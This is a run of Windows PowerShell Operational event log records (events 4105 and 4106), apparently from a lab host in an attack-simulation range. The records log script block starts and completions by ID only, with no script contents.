Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052462
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052461
Keywords=None
Message=Completed invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052460
Keywords=None
Message=Started invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052459
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052458
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052457
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052456
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052455
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052454
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052452
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052450
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052448
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052446
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052444
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052442
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052440
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052438
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052436
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052434
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052432
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052430
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052428
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052427
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052426
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052424
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052423
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052422
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052420
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052419
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052418
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052416
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052415
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052414
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052412
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052411
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052410
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
